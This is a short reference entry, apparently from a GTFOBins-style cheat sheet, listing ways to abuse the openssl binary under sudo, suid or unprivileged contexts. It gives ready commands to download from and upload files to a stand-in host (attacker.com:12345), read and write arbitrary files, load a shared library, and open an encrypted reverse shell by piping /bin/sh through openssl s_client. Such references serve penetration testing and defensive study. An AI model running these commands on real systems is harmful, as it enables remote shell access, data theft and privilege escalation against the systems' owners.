openssl
Download
Context: sudo, suid, unprivileged
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
File Read
Context: sudo, suid, unprivileged
openssl enc -in /path/to/input-file
File Write
Context: sudo, suid, unprivileged
echo DATA | openssl enc -out /path/to/output-file
Context: sudo, suid, unprivileged
openssl enc -in /path/to/input-file -out /path/to/output-file
Library Load
Context: sudo, suid, unprivileged
openssl req -engine ./lib.so
Reverse Shell
Context: sudo, suid, unprivileged
mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
Upload
Context: sudo, suid, unprivileged
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file